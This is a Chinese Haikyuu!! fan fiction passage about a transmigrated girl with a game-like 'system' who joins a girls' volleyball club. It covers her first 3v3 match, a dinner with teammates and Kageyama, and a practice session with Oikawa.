“太好了，放学啦～”
“你有想去的吗？”
“漫画研习部我就很感兴趣……”
“我看你就是想偷懒吧？”
阎魔乐收拾好书包，拿起填写好的入部申请表。
“阎魔同学，我们一起去排球部吧。”
十六夜再度突然出现在她的身边，她已经开始有点习惯了。
“嗯，走吧。”
她点点头，站起来与少女并肩。
朋友……
心底没由来地涌上来的这个陌生词汇产生了一种令她不知所措的喜悦。
学姐说的没错，新山排球部确实不缺人加入，排球馆中人头攒动，不乏高挑干练的实力之辈。
教练和指导老师正在组织进行新人的能力测定。
和强调强大的白鸟泽不同，新山并不会对新人的加入设置门槛，反正多的是经受不住严苛训练半路逃跑的人，每一年前两周就能逼退一大批。
随即，阎魔乐发现了一个悲惨的事实——
她的能力参数是1是因为最低只能是1。
新人中也有人某项参数为1，但明显比她强上一些。
真是没有对比就没有伤害。
所以，参数一直没增长的原因是，她需要先要把1之中缺失的部分给补充完全。
最终，夸下海口的她在入部的能力测定中斩获了倒数第一的好成绩。
阎魔乐一点也笑不出来。
最可怕的是，她的助跑摸高只有2.31米，刚刚超过球网半只手掌，这意味着，她根本没有办法把球扣过网。
还说什么她能跳……简直大言不惭。
“未来的ACE，要加油啊～”望月须弥笑嘻嘻大声地说。
“啊，前辈，不可以这样。”天内叶歌制止着，慌忙看了看她。
草率了，立了个热血笨蛋的人设。
阎魔乐脸一红只想找个地缝钻进去。
十六夜的情况就完全相反。
正如她所说的那样，过去的那些年中，她认真对待着每一次的训练。
力量：2
跳跃：3
体力：3
头脑：4
技巧：5
速度：3
虽然在力量有所欠缺，但是拥有超高的头脑和技术，是成为出色二传的必备条件。
堪称是最强的新人之一。
除了十六夜之外，新人中也有几个实力不俗的存在。
这一点从教练和学姐们惊喜而满意的表情上就能很好的得到验证。
“哼哼哼，那么，最激动人心的时候到了。”望月须弥欢呼着说。
“须弥，这样会吓坏新人的哦～”花咲一叶笑眯眯地提醒道。
“阿叶，别这样嘛，难得那么开心。”
“接下去会做什么事？”阎魔乐悄声问。
“你不知道吗，新山的传统是，新人会在第一天就进行3V3的比赛哦。”十六夜兴奋地说，“阎魔同学马上就要上场了呢～我记得你是主攻手对吧？不知道会和谁一队呢？”
每一个词她都认识，但是合在一起让她有些迷惑。
谁要打比赛？
啊？她啊……
她上场打比赛？！
5. 3V3
阎魔乐掐头去尾一共打了十天的排球，现在连扣球都扣不了，这就要水灵灵地上场比赛了？
这根本是对她狂妄的惩罚吧！
「哇，宿主的第一次比赛～统统一定会好好记录的！」
求求你闭嘴吧。
教练新井仁惠拍拍手吸引了众人的目光：“好了，大家先热身，不用太紧张，就当是个和队友交流的过程。”
这是对于那些能打得有来有回的人来说的吧？
阎魔乐暗暗叹气，像她这样连球都接不住的菜鸟，只会被对手嘲笑，被队友埋怨吧？
不对！
这是所有人都很美好的小排球，所以应该不会的！
这次的新人足有22个，分成3组3V3对决，剩下的4人会一边加一个主力队员一起上场，也算是幸运儿了。
看到分组的那一刻，阎魔乐脸都绿了。
A组：星那忧子 MB，鬼冢幽 WS，花咲一叶 S
VS
B组：飞鸟苗香 MB，阎魔乐 WS，十六夜悦 S
跟强者打，不就更会暴露她是个菜鸟吗？
排球可不是突击训练十天就能突飞猛进的运动啊！
这到底是主角待遇还是炮灰待遇啊？
面对大家纷纷投来的羡慕目光，她在心中疯狂吐槽。
这福气给你们……嗯，你们是真要啊。
“哈哈哈，放马过来吧，本小姐会把球统统拦下来的！”
金发的双马尾大小姐抬起下巴，信心十足发出对战宣言。尽管星那忧子只有160公分，却散发着强大的气场。
177的主攻手鬼冢幽不安地低着头，看上去很没自信的样子。
十六夜兴致勃勃地脱下外套，阎魔乐将头发紧紧地扎在脑后，她看着对手不自觉地咽了咽口水。
且不说副队长是个极度成熟的二传手，她隐约记得这两个新人的能力参数也很强。
飞鸟苗香注意到她的紧张，于是温柔地宽慰道：“别担心，就像平常那样就好。”
“谢谢学姐。”
可就是因为没有什么所谓的平常，她才会这样的啊……
“星那同学，要不要绑成马尾呢？”花咲提醒道。
在女子排球队中，剪短发是不成文的规定。
尽管新山对此并不强制，并不是说短发就一定强，或者长发就一定打不好，不过大多数队员会为了方便洗头选择剪短。
当然，像星那这样的高双马尾绝对是不太合理的发型。
“不用担心，前辈。”
星那笑起来，出人意料地“啪”一下从脑袋两侧摘下双马尾，放在休息椅上，然后揉了揉自己清爽的短发。
可拆卸型双马尾，运动型傲娇人设必备……
一时间，阎魔乐不知道从何处开始吐槽。
花咲看着她们，觉得麻烦的新人都在这组里了。
偏偏其中有三个能力非常不错，直逼她们这些正选。
“哔——”一声哨声宣布比赛开始。
A队花咲先发球。
“哈哈哈，阿叶，跟新人们打个招呼吧！”在一旁观战的望月须弥大声喊着。
伴随着王牌中气十足的应援，花咲笑容一敛，眯眯眼也显得危险了不少。
阎魔乐从中读到一丝不妙的气息。
球被轻巧地向前高高抛起，不紧不慢的六步助跑——
等等，她分明是亲眼见过这个动作！
正是不久前，影山除掉邪祟时使用的大力跳发！
高高跃起的花咲憋着一口气奋力击球，刹那间，球和炮弹一样“咚”一声砸到B组这边的地面上，然后高高弹起。
凛冽的气旋让众人呼吸一滞，无论是在场上的还是在场下的。只有教练和老队员们露出一副“我就知道”的表情。
B组三人都没及时反应过来。
阎魔乐往球那边看了看，但僵硬的身体根本来不及行动。
天呐，二传手的攻击力那么强？
学姐你及川彻吗？
眯眯眼果然都是怪物。
“花咲前辈，nice！”星那高兴地大喊。
“哇，阿叶下手真狠。”望月须弥咂舌道。
不是你让她这么打的吗？雪村芽在一边默默吐槽。
1:0
“别担心，阿叶她不会一直这样的。”
飞鸟苗香始终像个温柔的大姐姐一样缓和着B组的紧张。
“嗯，谢谢学姐。”
其实，阎魔乐也是这么想的。
她最近花时间找到了新山的比赛录像，二传手花咲一旦作为第一个发球的选手就会给对手这样一个下马威。
这样，只要轮转到她发球，对手总会想起来被跳发支配的恐惧，下意识会防她一手。
但事实上，女生进行大力跳发会消耗很多体力，要保持这样攻击力的发球，体力可能很快就会见底，这在五局制比赛中属于得不偿失。
所以，今天应该也只是“简单”打个招呼罢了。
尽管如此，阎魔乐还是往后退了半步预防着自己没可能接下的跳发，就如同新山以往的对手那样。
“嘛，可不能把我可爱的学妹们给吓坏呢～”
于是，花咲笑眯眯地发了个普通发球。
这次，球刁钻地落在前半场被飞鸟鱼跃接起，十六夜上手托球，传了个好打的高抛球！
此时，3V3的意思是——阎魔乐要扣球了。
她奋力助跑，用尽全力起跳，手掌顺利地触到了排球，扣下！
星那和鬼冢两人拦网，手臂直直地向前伸。
大小姐惊人的弹跳力让她的拦网高度和鬼冢持平。
要知道鬼冢比她高出17公分！
理所当然的，排球被拦死，落到地面。
全场鸦雀无声，随后出现了一些窃窃私语。
“不会吧？她没法好好扣球呢……”
“这样也敢来排球队啊，勇气可嘉呢。”
阎魔乐的扣球并不是被A组的拦网拦下的，根本就是被球网本身。
“哈哈哈哈哈哈！”星那嘲笑道，“怎么还会有新手在这里啊！”
“别在意，别在意，阎魔同学。”十六夜出声安慰。
阎魔乐对此倒是并不在意。
菜就要立正挨打，而且她并不准备菜一辈子。
她调整了位置，再次摆出防守姿势。
2:0
花咲第三次发球。
阎魔乐接球失误，球偏出场，十六夜回防没能接到。
“别在意，阎魔同学。”
“没关系，看下一球。”
队友的安慰、对手的欢呼、观众的审视都没有影响到她。
阎魔乐只盯着那颗排球，还有打球的人。
3:0
花咲第四次发球。
不知道是不是花咲放水还是走神，阎魔乐终于勉强接到了球，但是球速没有被很好地卸力，高高弹起。
一传乱了！
十六夜快速查看了A组三人的站位，迅速跑位到地球的下方，精准出手。
飞鸟轻而易举地突破对方的拦网，拿下B组第一分。
“啊。”她落地后轻呼一声。
“学姐，刚才的托球有什么问题吗？”十六夜紧张地问。
“不是，十六夜的球很精准，就是有一种突然到眼前的感觉呢。”
“啊……我明白了。”十六夜脸色稍稍一变。
因为存在感低，她的托球能够给队友选择进攻方式的时间会更短。
也只有像飞鸟这样经验丰富的首发队员们才能比较好地应付，否则可能错失击球的机会。
3:1
十六夜发球。
星那接球传出完美一传，花咲配合鬼冢出手，被飞鸟拦死直接得分。
阎魔乐也有近网拦截，但是高度实在不够看。
“哎呀，小苗香的拦网还是那么犀利啊～”花咲调侃道。
“啊，阿叶你别这么说啦。”飞鸟不好意思地说。
她当然不想太打击新人的自信心，但是自己这边的队友也很需要得分的鼓励。
“喂，给我打过去啊！！”星那忧子恶狠狠地说，“你这样也算是主攻手吗？”
“对不起，对不起。”鬼冢幽不住地鞠躬道歉，“都是我太没用了。”
“不可以吵架哦～”花咲眯着眼出现在两人身后。
星那打了个寒颤，鬼冢的道歉更加停不下来了。
……
比分来到12:7。
近一倍的分差显得理所当然，阎魔乐的水平摆在那里，失误远比正常发挥要更多。
得分基本上都是飞鸟学姐与十六夜配合，再加上对方失误拿下的。
“那家伙好奇怪啊。”星那皱着眉。
“嗯……”鬼冢弱弱地点点头。
她们指的是十六夜。
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>同为二传手的花咲怎么可能没有发现呢？
虽然她可以通过球的位置知道十六夜的位置，但是出手时机却不能很好的把控，这样自然而然地会影响到防守的起跳时机。
不仅如此，作为一起征战的队友，她能很明显感觉到飞鸟的进攻模式不如之前丰富，可能也是被十六夜影响到了。
真是非常麻烦的能力啊……
无论是对对手还是队友。
15:10
星那发球。
阎魔乐自知没有日向那样的弹跳力和机动性，自然也不能和优秀的十六夜打出怪人速攻。
这也意味着，她不用闭上眼，被动地发起进攻。
所以，从比赛一开始，战场的情况对于她来说逐渐明了了起来，只是囿于身体素质的限制无法做到准确的防守和进攻。
阎魔乐缓缓地吐出一口气，世界安静了下来，摒弃了那些纷扰的杂音。
此刻，她的眼中只有对手的位置，队友的位置，她们接下去有可能跑动的方向，可能发动进攻的战术选项……
多种进攻路线在她的脑中汇集、确认，对于未来的可能——
她看得一清二楚！
飞鸟接球，十六夜跑动准备二传，花咲和鬼冢进行标准的正面二人拦网，星那在防备着斜线球。
如果——
从这个地方，在这个时机，就算是她那样半吊子的击球，也可以……
“把球给我！”她大喊。
十六夜一愣，迅速做出决定将球托向了飞鸟的反方向。
阎魔乐起跳挥臂，她没有扣球，而是改成高抛球，排球顺利过网。
轻敌的星那来不及反应，鱼跃伸手救球却堪堪与球错过。
A组的防守完全被戏耍。
阎魔乐拿下第一分。
也许，这也是她人生的第一分。
“哈哈哈哈，这不是挺能干的嘛～”望月须弥兴奋地评价道。
她好像利用了之前的那些失误呢……
“啊，真讨厌……”自由人云中芥子慢慢地说，看来是把自己带入了那个场景。
“那个……阎魔同学，刚才的球有什么问题吗？”
十六夜迟疑着问，在她的视野中阎魔乐没有丝毫犹豫地就出手了，好像会突然出现的球没有困扰她。
“很完美，如果不是这样的托球，以我的技术可能没有办法顺利得分。”阎魔乐回忆了一下刚才的手感肯定道，“继续加油吧。”
十六夜瞪大了眼睛，欣喜地说：“嗯，是！”
15:11
飞鸟发球，被鬼冢接起，花咲托球，星那小小的个子仿佛摆脱地心引力一般跳起来。
而网前只有十六夜一人！
阎魔乐像是被吓到一般愣在原地。
“喂，她为什么不上前拦网？”
“可能因为跳得不够高？自己知道没有用？”
虽然只有一个人，星那的球路被十六夜精准的防守限制了一些，她不得已往场中心空着的位置打去。
下一秒，阎魔乐出现填上了空当。
什么？
星那脸色一变。
无奈阎魔乐技术不佳，没有接稳，另外两人勉强把球救起打了回去。
“机会球！我来！”
星那大喊着接起后，鬼冢进攻拿下这分。
哼，反正是歪打正着吧。
星那不满地瞥了一眼正在若有所思的阎魔乐。
……
轮到阎魔乐发球，在场的很多人都在为她捏一把汗。
因为在这之前她发的三个球中有两个狠狠失误了。
还好这一次顺利过网，星那轻巧地接起。
花咲往鬼冢那边看了一眼，飞鸟和十六夜准备好防守对面主攻的攻击。
狡猾的二传手却突然转动手腕，轻巧地把球拍过网。
二次进攻！
B组来不及回防，飞鸟奔跑摆手去接，还是差了一截。
啊，又被阿叶骗了呢。
因为不想被新人的光芒所掩盖吗？真是个坏心眼的前辈。
飞鸟无奈地想。
花咲笑眯眯地落回地面站稳。
在正式比赛中或许可能对此有意识提前防守，但是3V3可能会有点吃力。
但是下一秒，她的笑容僵在了脸上。
阎魔乐“砰”一声扑到地上，丑陋的鱼跃像摔了个大马趴一样。
球没有落地。
6. 莫名的眼泪
阎魔乐这个成功的救球吸引了场上场下所有人的目光。
谁也没能想到，那个吊车尾竟然垫起了副队长精妙的二次进攻？
当事人自己也是一样吃惊，想着这破烂身体终于是争气了。
十六夜没有浪费这次机会直接配合飞鸟还以颜色拿下这一分。
阎魔乐有些艰难地爬起来。
她原来是想等身体素质更好一些再开始练习这些技巧，否则肌肉量不够很容易受伤，结果一上来直接摔了个惨的。
排球还真是严厉的运动啊。
飞鸟示意比赛暂停，教练则拿出医药箱示意她过去。
“没事吧，阎魔同学？”十六夜紧张地凑过来。
“没关系。”阎魔乐揉了揉磕到的下巴。
“哈哈哈，阿叶的攻击完全被人看穿了啊！”望月须弥在一旁哈哈笑着。
花咲微笑，额头上却爆出青筋，但是一想到阎魔乐的表现就忍住没有说话。
提防二次进攻是强队的选手必然要掌握的技能，二传手的姿势一旦有所倾向就很容易被看穿。
花咲自信于自己的姿势是标准的，在触到球之前很难被发现意图。
无论是星那的那个扣球被接下，还是她打的高抛球，甚至这次的防守……
她表现出来的冷静、专注，还有对进攻时机的把握都不像一个打球不过十多天的新人。
简直像另一个队长。
……
最终，比赛以25-21，A组获胜。
花咲走到网前：“你是怎么看穿那个球的？”
阎魔乐气喘吁吁地回答：“学姐每次的托球都十分干净利落，尽量掩盖着攻击的意图只有那一次看了攻手一眼，好像故意在说‘我要往这边托球了哦’这样。”
“原来如此，看来这也是需要改进的地方啊～”
花咲的语气又回到了关西腔特有的黏糊，留下一句鼓励的话就去找自家队长了。
“嘛～好好干吧，新人～”
阎魔乐转身冲着自己的队友鞠躬道歉：“抱歉，是我太弱了。”
团体竞技最难受的并不是输，而是因为自己拖后腿而输。
弱小第一次有了实战的验证，不过她并不着急，她还有时间积蓄力量。
“不是这样的，你们都很强呢。”
飞鸟苗香温柔宽慰着，她拍了拍二人的肩膀。
“多谢学姐的帮助，下次，我们不会输了。”阎魔乐再次鞠躬。
我们……
十六夜的关注点在于这个词上，她回过神也赶紧鞠躬，却又偷偷看向身边的少女。
阎魔乐依旧是那副若有所思的模样。
“哈哈哈哈，手下败将。”
星那的嘲讽适时直愣愣地传过来，她又变回双马尾的造型，她叉着腰看上去还沉浸在胜利的喜悦中。
也许是觉得她并不是什么坏人，十六夜和阎魔乐相视一眼，决定不回应她这幼稚的挑衅。
“笨蛋。”下一队上场的高个子女生路过时低声说了句。
“喂，你说什么？”星那暴起就要过去理论。
“忧子，别这样啦，人家要比赛了。”鬼冢拉住她的衣角劝慰道。
“哼。”星那瘪瘪嘴。
女生名叫大空惜子，是从名校毕业备受瞩目的王牌新人，拥有和十六夜不相上下的能力参数，一上场就得分不断。
不过，无论是得分还是丢分，她都面无表情，似乎打不起精神。
见状，星那却完全没有被打击的感觉，反而兴致勃勃地说：“我要打败这家伙！”
“可她是队友啊……”
“有什么关系？用我这样的身高把高个子们都拦死那才最令人兴奋吧！”
阎魔乐觉得这话还挺耳熟，不由地夸奖了一句：“真是了不起啊，星那同学。”
“喂！说什么呢！”星那脸一红，赶紧背过身走远。
“抱歉。”鬼冢朝她们鞠躬，追了过去。
新井教练一边看着比赛，一边记录新人的数据。
存在感很强的星那忧子拥有强大的机动性和弹跳力，弥补了身高上的不足，是个强力的诱饵，可惜性格恶劣，在团队配合上会是个问题。
鬼冢幽综合能力不俗，拥有王牌的资质，但是极度缺乏自信。
拥有堪比首发技术强度的二传手十六夜悦，存在感却低到会影响队友的发挥，真的是最差的相性。
另一个准王牌大空惜子是高一中唯一一个拥有可以直接获得正选资格实力的选手，可她对排球极度缺乏热情。
除此之外，还有一个人。
教练把视线放到那个波澜不惊，偶尔又会热血的少女身上。
阎魔乐拥有绝对的高集中注意力，能够没有障碍地看到十六夜悦的托球，并配合执行出多变的进攻手段。
不仅如此，她拥有不错的球商和全局视野，能够找到对手的空挡和机会，也很有进攻的胆量。
另外，无论是夸奖还是嘲笑，她都是那种坚定不移的态度，似乎有某种超脱于排球本身的信念。
当然，技术和体力糟糕到令人瞠目结舌的程度。
全是一群问题儿童啊。
新井教练微不可及地叹了口气
不过……稍微有些期待呢。
一旁的花咲一叶不经意地抬眼看到了表情冷静的风间枝，多年来的配合让她发觉了那种表情底下的暗流涌动。
她故意开口道：“今年的新人们都很强呢～”
风间枝微微点头表示认可，继而转向新井教练说道：“教练，我认为青城邀约的练习赛是一个很好机会。”
“我也有考虑过。”新井教练说，“不过这样的话，白鸟泽那边肯定也会来约战的。”
“没问题。”风间枝应道。
花咲一叶笑着说：“那照这么下去，远征也要提前开始了。”
“嗷嗷嗷，远征！”望月须弥兴奋起来。
“我也是不会输的，前辈。”天内叶歌给自己加油打气。
飞鸟擦了擦汗说：“队长还是那么操心啊。”
风间枝看向吵吵嚷嚷的新人们。
“新山会一直强大下去。”
***
阎魔乐松开发圈，用毛巾擦了擦汗湿的头发，为防止感冒，她换上了干爽的衣服。
即使比赛只有一局，她的体力槽还是见底了。
甚至，进攻和防守的重任都在另外两人身上。
没错，就是那么弱。
尽管参数面板还是一动不动，但阎魔乐发现指尖上的立方体从米粒大小变成了黄豆大小。
现在应该能靠自己对付最低等的邪祟了吧？
“那个，阎魔同学……”十六夜背着挎包走过来。
“什么事呢？”阎魔乐收拾好书包站起来，抓了抓还有些湿润的头发。
十六夜欲言又止，因为把刘海放了下来，她那颗脑袋也有点蓝莓头的意味。
见状，阎魔乐擦了擦汗，捡起脚边的排球，率先说了自己想要说的话。
“十六夜同学，以后也把球传给我吧。”
既然同为高一，未来会一起征战，那么从现在开始培养默契是最好不过的了。
“哎？”十六夜愣了愣，捏紧了拳头，“你不觉得我传的球难打吗？不会看不到吗？”
她若无其事地说着自己的不足：“我的水平不好，需要你这样精准的托球。”
毕竟，连她这样的菜鸟都能很顺利地打到的就是好的托球。
至于自己为什么能无障碍地与十六夜配合，应该与她作为魔法少女能操控空间魔法的原因有关。空间系魔法难度高、架构复杂，只有高度集中的专注度、眼观八方并能快速向外演算才能准确控制释放。
十六夜的双眸中有泪光闪烁。
那么多年来，作为球队暗淡的司令塔，第一次有人看到了她的光。
即使是在如墨的夜晚。
十六夜深吸一口气，鼓起勇气说，“阎魔同学，请来我家吃饭吧！”
“哎？”
这下轮到阎魔乐吃惊了。
“因为一起打了比赛，所以……”十六夜有些紧张，“哦，今
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天飞雄也会过来吃饭，所以家里食材管够，啊，不对，我在说些什么……”
阎魔乐下意识想要拒绝，空荡荡的房间和冰冷的饭团在她的脑海中一闪而过。
望着十六夜慌乱的模样，她心中一动。
于是她笑起来：“那就麻烦啦，小夜～”
并非是系统的设定好的剧情，孤独的魔法少女触碰到了某些真实的情感
朋友。
这个陌生的词逐渐有了实体。
十六夜的家是一幢温馨的二层小楼，暖色的灯光从中洒出来。完全不像自己那个黑漆漆的只有称呼叫“家”的地方。
一个和善温柔的中年女子站在门口在看到她们的瞬间开口道：“哎呀，是小悦的朋友啊。”
朋友……
“嗯！妈妈，我回来啦～这是阎……阿乐，我们都是排球队的。”
“阿姨好，我是阎魔乐。”阎魔乐礼貌欠身。
“啊啦，真懂事啊，小乐快进来吧～”
“飞雄还没有来吗？”十六夜引着阎魔乐放下书包，在洗手的时候随口问了一句。
“他说要和队友加练所以会晚一点，哎呀，一个两个都是排球脑袋，不好好吃饭怎么行呢？”阿姨抱怨道。
说起来，现在影山应该已经和日向遇见并闯祸了吧？
啊，打排球太入迷了还忘了有这一茬。
阎魔乐翻出手机，日向果然发来了很多条消息。
「阿乐，没想到那个王者也在乌野！」
「怎么办啊？大地学长说学不会团队合作就不能进排球部了……」
「怎么样才算认定对方是同伴啊？毕竟是那个王者啊！」
「而且我就不能打败他了啊！」
虽然知道他们俩会没事，以后还会变成特别强大的怪人组合，阎魔乐还是安慰道：「只要一直打下去，就会有打败他的机会的对吧？而且曾经最强的对手，现在不是变成最强的队友了吗？」
“打扰了！”影山在食材上齐之前赶到了。
“阿乐，这是飞雄，飞雄，这个我们球队的阿乐。”十六夜看上去有些兴奋，她为数不多的与排球有着紧密联系的好友都在这里了。
“你好，影山君。”
影山愣了两秒看着阎魔乐有些熟悉的脸回忆了几秒，才终于想起来是在什么时候见过的她。
“啊，是你。”那个奇怪的少女。
“哎？你们认识吗？”十六夜好奇地问。
“嗯，有一次夜跑的时候遇见过。”阎魔乐点点头，“说起来，我也有个朋友要加入乌野的排球队呢，他叫日向翔阳，影山君有遇见吗？”
顿时，影山脸上露出反派的表情，他恶狠狠地说：“笨蛋！hnt笨蛋！”
真是经典咏流传啊……阎魔乐哑然失笑。
“啊啦～在吵什么呢？”阿姨端着牛肉走进来，“大家多吃一点，不必客气，我去给你们拿饮料。”
“好～”
寿喜锅的汤汁咕嘟咕嘟冒起来，散发出迷人的香味，十六夜作为主人主动将满满一盘牛肉下到锅中，牛肉很快化为粉嫩诱人的色泽。
“我开动了。”
阎魔乐将滑嫩的牛肉蘸上无菌蛋的蛋液放入口中，甘甜的肉香充盈整个口腔，幸福感顺着喉咙到达胃部又往心脏处弥漫。
好好吃！
只是，她还没来得及发表评论，就觉得自己面上一湿。
两行清泪从眼眶中溢出，毫无阻碍地顺着她精致的脸庞流下，某种熟悉的感觉在心底稍纵即逝。
“阿乐，你怎么哭了？”十六夜吓了一跳。
哎？
阎魔乐回过神，赶紧用手背蹭了蹭脸颊，把眼泪擦干净。
影山这个只在排球上聪明的笨蛋还没意识到发生了什么，仍然在马不停蹄地往嘴里塞肉。
她找了一个借口：“因为牛肉太好吃了。”
“啊，对吧～”十六夜松了口气，往她的碗里夹了一大筷牛肉，“来，多吃点。”
阎魔乐凝了凝心神，微笑着点点头，不经意瞥过窗外暗下来的天色。
7. 华丽的人像树一样扎根
四月中旬，樱花于枝头盛开，刚好一阵微风刮过，粉色的花瓣雨沙沙落下，有一身影立于其中，白色的西装和米棕色的西裤衬得他宛如华丽秀美的树灵。
少年好像在等什么人。
“是及川学长～我们去打个招呼吧～”
“及川学长，这是我亲手做的饼干，请务必收下吧。”
一群可爱的少女们围了过来。
“多谢……啊！”
及川彻正要接过，后脑勺就狠狠挨了一下。
岩泉一平静地收回拳头道：“垃圾川，你不是还要去接猛吗？”
是岩拳！真的很疼啊！
“小岩太过分了！～”及川彻捂着后脑勺抬起头低声抱怨着，然后冲女生们微微一笑，“抱歉啦，各位，我先告辞啦。”
“嗯～及川学长再见！～”
“再见啦～”
及川彻微笑着扬扬手，三步并两步追上岩泉一。
“真是的，猛那个小子真是让人放心不下啊，我明明很忙的呢～”
他装模作样撩了撩头发。
“不是你说的‘刚被女朋友甩了，闲得不得了’，所以才硬要在周一指导猛的吗？”
岩泉平淡地叙述着某个不得了事实。
“小岩！别在人家的伤口上撒盐！～”及川彻不满地嚷嚷道，“我们是和平分手啦。”
岩泉轻轻瞥了他一眼，无奈地决定放过自己这个幼驯染，毕竟这个家伙也只是看上去轻浮罢了。
***
加入排球队的半个月来，除了固定的休息日以外，阎魔乐会在6:30到学校放下包后开始45分钟的体能训练，然后如果有多余的体力就做一些基础练习。
当然，目前基本是没有的。
7:30的晨训，稍稍恢复体力的她就会跟着学姐们进行正式练习。
“好了，热身完毕！”
一般在教练说出这句话的时候，阎魔乐已经喘着粗气，觉得自己快要窒息了。
这样的情况从这周开始稍稍缓解，可即使如此，她的实力还是和其他人差了一截。
“噗，真弱。”星那忧子捂着嘴嘲笑道。
“忧子不可以这么说啦。”鬼冢担忧地制止道。
阎魔乐没有心情计较。
真的，劳累的时候人的心真的会变得很平和。
新井教练会在基础训练中把水平类似的人放在一起训练，同时根据每一个人的短板进行增强。
主力选手自然是不必说，她们的训练量和难度简直高得离谱。
阎魔乐观察到，其他学姐的实力也十分稳定，随便拿一个去别的学校都应该是首发，但是在新山，她们却只能成为替补。
“为什么我要和吊车尾一起啊，明明我跳得很高才对吧！”
星那不满地嚷嚷着，因为大空和十六夜已经跟着第二梯队一起练习了。
“可是小忧子的接发球都很糟糕呢～”
花咲一叶不知道什么时候到了她们的身后，仍然是笑眯眯的样子。
顿时，大小姐立刻闭上嘴，乖乖练习起来。
果然眯眯眼都是怪物啊。
阎魔乐再次肯定着这个念头。
高强度的一周训练后，新山会在周一休息，阎魔乐也会在那一天停掉自己加练的体能训练。
休息就是要好好休息，强制练习得不偿失，特别还是在对她来说这么高强度的训练下。
「宿主，努力了那么久数据都没有增长，很难受吧？」
“很久么？”
阎魔乐平静地反问道，顺便感受着增长的魔力在体内的流动。
“新山的每个人都是打了几年甚至十几年的排球，如果我只是努力了不到一个月就能赶上她们，那也太不公平了。”
“努力和别的事情相比，就是一件相对公平的事情。”
「嗷嗷～宿主好帅气啊。」
虽说今天是休息日，但是她并不准备回了家在床上躺着，因为还有一些能够锻炼的地方。
比如，她的大脑。
那场3V3让她发现了自己高度集中的注意力和组织进攻的战术能力。
2012年，网络上中能够看到的春高的比赛有限，录像带她也没找到几盘，所以她需要更多直观的、多变的比赛。
***
宫城县第二排球馆中，阎魔乐换上运动服安静地在角落里一边观察着正在对局的，一边拉伸，舒缓自己紧张的肌肉。
嗯，勉强算有的话。
拉伸很疼，但很快她就什么也感觉不到了。
业余球队的比赛节奏不会那么快，让她能够代入自己去想——如果她在这样的情况下，要如何应对？
或者——除了这样的进攻形式，还有哪几种是她这样的水平可以使用的。
防守的时机、起跳的时机、敌我的站位、行进的动线……
输球后的安慰，得分时的欢呼……
所有的细节都印在她的双目中，有太多想法想要印证，大脑一刻不停地运转着，几乎要热到爆炸，那股热能蔓延开，最终被压入心脏汇聚成一句话——
好想打排球啊，现在。
比赛结束了，谁输谁赢都不重要，阎魔乐有些微微喘息。
一颗排球滚到她的身边。
“喂，猛，起跳的时候不要有多余的动作哦～不然就会像这样把球扣飞呢～”
“彻，你好好说话。”
“你小子才是，别直接喊我的名字啊。”
俊秀的少年一边抱怨着，一边走到阎魔乐面前捡起排球，正好对上她那双幽黑的眼眸，敏锐地捕捉到其中那一抹狂热。
“抱歉，没砸到你吧？”
阎魔乐眨了眨眼，总算回神。
青白色的运动服，轻浮的语气，微长的棕色头发，发尾翘起，池面的脸……
要素齐全。
阎魔乐脱口而出道：
“及川前辈，请给我托几个球吧，10个就可以。”
她还记着今天是应该休息的。
在及川彻发问前，她赶紧补充道：“我曾经看过你的比赛，十分的赏心悦目。”
有意思。
其实早一些的时候，及川彻就看到了这个坐在角落里的穿着新山训练服的少女。
倒也不是被她的容貌所吸引，他只是有些好奇。
她并没有上场打球，却目不转睛地盯着业余兴趣比赛的诸位选手，可无论哪一队得分或是什么精彩的操作都不能让她欢呼甚至激动分毫。
然而，那种对排球狂热的渴望，简直要从眼睛里溢出来了呢。
是一个矛盾的人。
“失礼了，我叫阎魔乐。”少女突然意识到自己的唐突，立刻起身致歉。
“没事没事～”及川彻微笑起来，“那么，小阎魔，来试试看扣球吧～”
阎魔乐扎起头发，顺便打起了预防针：“我很弱，目前把球扣过网的成功率只有20%。”
如果是及川彻的话，应该会注意到她来自新山而认为她很强吧。
第一个球，她的手指堪堪擦过排球下方。
嗯，果然如此，及川彻根本没意识到她并不是在谦虚，依然高估了她的起跳高度。
但是，从第二个球开始，阎魔乐就没有再扣空过了。
很不一样。
无论她的助跑距离和起跳的时机如何，即使不是精准到令人害怕的托球，她也总能碰到球。
甚至……比十六夜的托球手感更好。
明明他们才第一次见面不是吗？
只不过，除了最后一个球。
那个球的打点有些靠外，这对于一个菜鸟来说该是多么大的考验啊。
她在空中紧急改变动作和方向才勉强扣下，如果放在比赛中，这个球一
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定就出界了。
看来这也是需要应对的情况。
阎魔乐记下了这一点。
“哎呀，抱歉。”及川彻微微眯着眼笑道，“小阎魔很棒呢～”
“不会，谢谢前辈的帮助。”阎魔乐客气道。
嗯，果然「大王」只对影山恶劣呢！
相对成熟、拥有更多比赛经验的及川彻目前果然是宫城县第一的二传手。
因为竞技体育的残酷，她也曾为了这个在泥泞中挣扎的人感到惋惜、心疼却又因他受到鼓舞。
能够成为队伍的司令塔，及川彻正是不断向下扎根才能向上舒展着自己的茂密枝叶。
及川彻是一棵华丽的、了不起的、成长中的树。
“彻，你这样子很轻浮。”猛没好气地提醒道。
“都说了，不要直接叫我的名字！”及川彻嚷嚷着，却突然话锋一转，“对了，小阎魔。”
“是，前辈。”
阎魔乐穿上外套，保证自己不会着凉，生病会影响后续的训练。
“你该不会在为了成为新山的首发而努力着吧？”
他的问题看似是不经意的提问，却有一种陈述句的笃定。
嗯？他怎么会知道？
她并没有像某个口口声声说着“要成为航海王”的草帽少年那样把这个目标挂在嘴边吧？
还有，她记得知道后续剧情的人是她这个外来者才对吧？
“是的。”她老老实实地回答，“学长是怎么发现的呢？”
“那要加油哦～只有三年，时间很赶呢～”
话虽这么说，及川彻已经敏锐地发现了她在打球中的矛盾之处。
首先，他故意托歪的那球并没有给她造成任何心理上的影响，反而给了她某种启发。
其次，尽管她的综合素质很差，但是在刚才扣球中，她的起跳时机每次都有细微的差别。
这种对时机的把控似乎才是她想要练习的，而不仅仅是为了扣球。
她更像是执行着某种战术，和看不到的对手比赛一样。
阎魔乐听出了及川彻话中的意思，直白地说：“确实如此，所以要抓紧时间不是吗？”
他勾起唇角，有一种实现了愿望后的餍足。
那一种即刻想打排球的迫切得到满足，她的心情非常好。
“毕竟，球感和才能就是要不断练习才能进步的对吧？”
她已然是发现了狡猾的学长刚才故意将球传歪的事实，便如此说着算作小小的反击。
有点耀眼啊，这个女孩。
及川彻想着，却又很快改变了想法。
不对，并不是像太阳那样的存在，是某种矛盾的吸引力。
